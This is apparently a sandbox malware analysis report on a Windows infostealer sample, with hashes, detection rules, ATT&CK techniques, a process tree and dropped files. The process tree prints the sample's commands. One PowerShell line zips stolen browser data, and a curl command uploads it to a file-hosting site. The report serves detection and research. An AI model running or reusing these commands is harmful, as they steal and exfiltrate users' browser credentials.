c47a886531276a1aef25b4bc60148e5b78c1a64ed6f629e19e4035382f7a805b

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 08:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe
Size 2.2MB
Sample260812-kc9s2asdpc
SHA256 c47a886531276a1aef25b4bc60148e5b78c1a64ed6f629e19e4035382f7a805b
MD5 bd6c0f70e25dca5758ec03bb72c2543b
SHA1 2e3f9503842b4eda62c0a1a000d1365332d551b9
SHA512 4f0379f68211a16073e1ebfefdbded030df429503f0891a1ac0c573a6b53c3d207f30f2cee09414e7a38e1c29eff44ce719ce2ff563d80e7d9296f2add0fe806
SSDEEP 49152:S3w8pGS/JsrUhYImD1avxmNJmLMRvgrRAS:S37GSRsQhYIO1zrmLKg
TLSH
T148B5E16BA3A411F9D0BBD274CD424907DBF3B8461674DB9F13E04A961F23A725E2E321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery execution spyware stealer

Malware Config

Signatures

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/964-0-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/964-35-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral2/memory/964-0-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/964-35-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1944	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3192	cmd.exe
4376	cmd.exe
3688	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1944	powershell.exe
1944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 964 wrote to memory of 5444	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	90
PID 964 wrote to memory of 5444	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	90
PID 964 wrote to memory of 5440	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	93
PID 964 wrote to memory of 5440	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	93
PID 964 wrote to memory of 3192	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	94
PID 3192 wrote to memory of 1944	3192	cmd.exe	96
PID 964 wrote to memory of 4376	964	2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe	97
PID 4376 wrote to memory of 3688	4376	cmd.exe	98
PID 3688 wrote to memory of 4528	3688	cmd.exe	99

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	6	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-12_bd6c0f70e25dca5758ec03bb72c2543b_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:5440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Browser Data.zip' -Force"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Browser Data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /C curl.exe -s -F "file=@C:\Users\Admin\AppData\Local\Temp\Browser Data.zip" https://upload.gofile.io/uploadfile
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\system32\cmd.exe
    cmd.exe /C curl.exe -s -F "file=@C:\Users\Admin\AppData\Local\Temp\Browser Data.zip" https://upload.gofile.io/uploadfile
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\system32\curl.exe
      curl.exe -s -F "file=@C:\Users\Admin\AppData\Local\Temp\Browser Data.zip" https://upload.gofile.io/uploadfile
      4⤵
      PID:4528

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4948

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Browser Data.zip

Path C:\Users\Admin\AppData\Local\Temp\Browser Data.zip
Size 639B
SHA256 78d372d78fe9ed19d39ab2d7e64171f22f73fa41d690c35e278a50f330bb759d
MD5 4438c94381d839463dad3574a113fae1
SHA1 42b1d2c0bb3e84763dc230c3b390867e1dcfbc02
SHA512 4ac15da7de6b3c2e5ec27f0630622bf8bf32497ddfb7827ee90d5113dda08d72a848efda74ba25a6e6323c8e472029cbe9a0f3800b0c7353605fd6940e9eca31
TLSH
T1DDF047BEE75E5943C6D3CCB150084B433A8C4D1A1007735F44D6ECD41D166A54F052D7
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\output\Edge\Default\history.txt
Size 127B
SHA256 03f7fa8eb8f529a8af4e50ffed3448e3d7c671de2953ccc962a1e9ffb9921cd5
MD5 61cf83c96f0829360f10377a02993e6b
SHA1 1d5f81fea6018d6384143f85be606af9e2abfab3
SHA512 b019ff8e026ae00011f6149da3e8de5c7ddb29d7091eea2278ea2e157eaf2fc021d0e2b12e8cd727b4451f8b0b85240fb980053b95a6b53ddffa9e3cdc922175
TLSH
T110B02B08822600C70E2881F47907850D5408F00D0200A00776C1204AF60A227C7814F2
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\output\Firefox\z75qv1qk.default-release\history.txt
Size 508B
SHA256 a085bd2c14a50df22853e9d8793b9b6291396ddaf3acf40e020de0d705f9b59c
MD5 81c815ed0b574f3d1edb9a36daa495d7
SHA1 fe5bf6506490aaaacb308c33893dea1e4d12405c
SHA512 8778ac91e20d277d4399d8f36acd98717bfa82e5d56ad7261d35b2d9a2d2e02ad2e260ce6272f66c3dcf9d523bed1de835a382a5afd26f9761b2ba2d3ace909e
TLSH
T104F0B47B962340790F14D7E43506AA89748BF34D8C9AE1A7B5C3353740EF36885E754E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/964-0-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp

Download

memory/964-35-0x00007FF63D580000-0x00007FF63D7B1000-memory.dmp

Download

memory/1944-18-0x000001FB54DC0000-0x000001FB54E72000-memory.dmp

Download

memory/1944-22-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-11-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-12-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-13-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-14-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-17-0x000001FB54DA0000-0x000001FB54DBE000-memory.dmp

Download

memory/1944-9-0x000001FB54B00000-0x000001FB54B22000-memory.dmp

Download

memory/1944-19-0x000001FB54B90000-0x000001FB54B9A000-memory.dmp

Download

memory/1944-20-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-21-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-10-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-23-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-24-0x000001FB54DA0000-0x000001FB54DB2000-memory.dmp

Download

memory/1944-25-0x000001FB54B90000-0x000001FB54B9A000-memory.dmp

Download

memory/1944-6-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-5-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-31-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-32-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-33-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-4-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp

Download

memory/1944-3-0x00007FF99F5EF000-0x00007FF99F5F0000-memory.dmp

Download